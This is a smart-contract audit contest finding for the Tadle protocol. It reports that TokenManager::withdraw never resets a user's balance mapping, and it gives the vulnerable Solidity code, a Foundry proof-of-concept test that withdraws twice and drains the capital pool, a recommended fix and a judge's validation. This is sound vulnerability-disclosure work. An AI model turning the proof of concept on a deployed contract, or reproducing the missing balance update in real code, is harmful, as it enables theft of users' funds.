Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

`TokenManager::withdraw` Does Not Update `userTokenBalanceMap`

[H-04] TokenManager::withdraw Does Not Update userTokenBalanceMap

Summary

The withdraw function allows users to withdraw funds based on the userTokenBalanceMap mapping. However, it fails to update this mapping afterward, enabling users to withdraw multiple times and potentially deplete the protocol's reserves.

Vulnerability Details

During the execution of the withdraw function, the claimAbleAmount is determined by retrieving the corresponding value from the userTokenBalanceMap. Despite this, the function does not update the userTokenBalanceMap, allowing users to repeatedly call withdraw and withdraw more funds than intended.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
@> _tokenAddress
@> ][_tokenBalanceType];
@> // Missing Update userTokenBalanceMap logic here!
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
ICapitalPool(capitalPoolAddr).approve(_tokenAddress); // this is another bug fix added so tests can work!
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

Impact

Repeated withdrawals without updating the userTokenBalanceMap can lead to unauthorized fund transfers, potentially draining the protocol's reserves.

Proof of Concept

To demonstrate this vulnerability, consider the following test case:

  1. Contract Warmup: Users(user and user2) create offers and fill (user1) them, resulting in a significant balance of tokens to be withdrawn.

  2. Settling Period: The settlement process begins, and user settles their transaction, adding earnings to the TokenManager.

  3. Initial Withdrawal: user calls withdrawAll, withdrawing all available balances.

  4. Subsequent Withdrawal Attempt: The same user attempts to call withdrawAll again, exploiting the vulnerability to withdraw additional funds.

Here's the test implementation and the helper withdrawAll function:

function test_my_withdraw_doesnot_update_BalanceMapping() public {
//Contract Warmup:
////user creates an offer
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
////user1 fully pays for user's offer
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
//// same happens for user2 (its inorder to fill the contract with money)
////user2 creates an offer
vm.startPrank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr2 = GenerateAddress.generateOfferAddress(2);
////user1 fully pays for user's offer
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr2, 1000);
// we go to settling time
vm.startPrank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
// user calls settleAskMaker to end his transactions and add his earnings to tokenManager mapping
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 1000 ether);
deliveryPlace.settleAskMaker(offerAddr, 1000);
//user calls withdraw to empty the contract
withdrawAll(address(mockUSDCToken));
assertEq(mockUSDCToken.balanceOf(user), 2230000000000000000);
withdrawAll(address(mockUSDCToken));
assertEq(mockUSDCToken.balanceOf(user), 2230000000000000000 * 2);
assert(
mockUSDCToken.balanceOf(address(capitalPool)) < 2230000000000000000
);
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 1000 ether);
deliveryPlace.settleAskMaker(offerAddr2, 1000);
vm.expectRevert(); //TransferFaild() but for some unkown reason I couldnt import the error function :)
withdrawAll(address(mockUSDCToken));
}
function withdrawAll(address _token) internal {
tokenManager.withdraw(address(_token), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(_token), TokenBalanceType.PointToken);
tokenManager.withdraw(address(_token), TokenBalanceType.ReferralBonus);
tokenManager.withdraw(address(_token), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(_token), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(_token), TokenBalanceType.TaxIncome);
}

Tools Used

Manual Review

Recommendations

Ensure the userTokenBalanceMap is updated before proceeding with fund transfers to prevent unauthorized withdrawals.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
+ userTokenBalanceMap[_msgSender()][_tokenAddress][
+ _tokenBalanceType
+ ] -= claimAbleAmount;
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.